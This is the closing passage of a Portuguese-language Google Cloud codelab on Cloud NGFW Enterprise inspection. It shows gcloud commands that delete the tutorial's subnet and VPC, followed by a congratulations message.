gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Parabéns!
Parabéns, você concluiu o codelab do Cloud NGFW Enterprise para inspeção leste-oeste e norte-sul.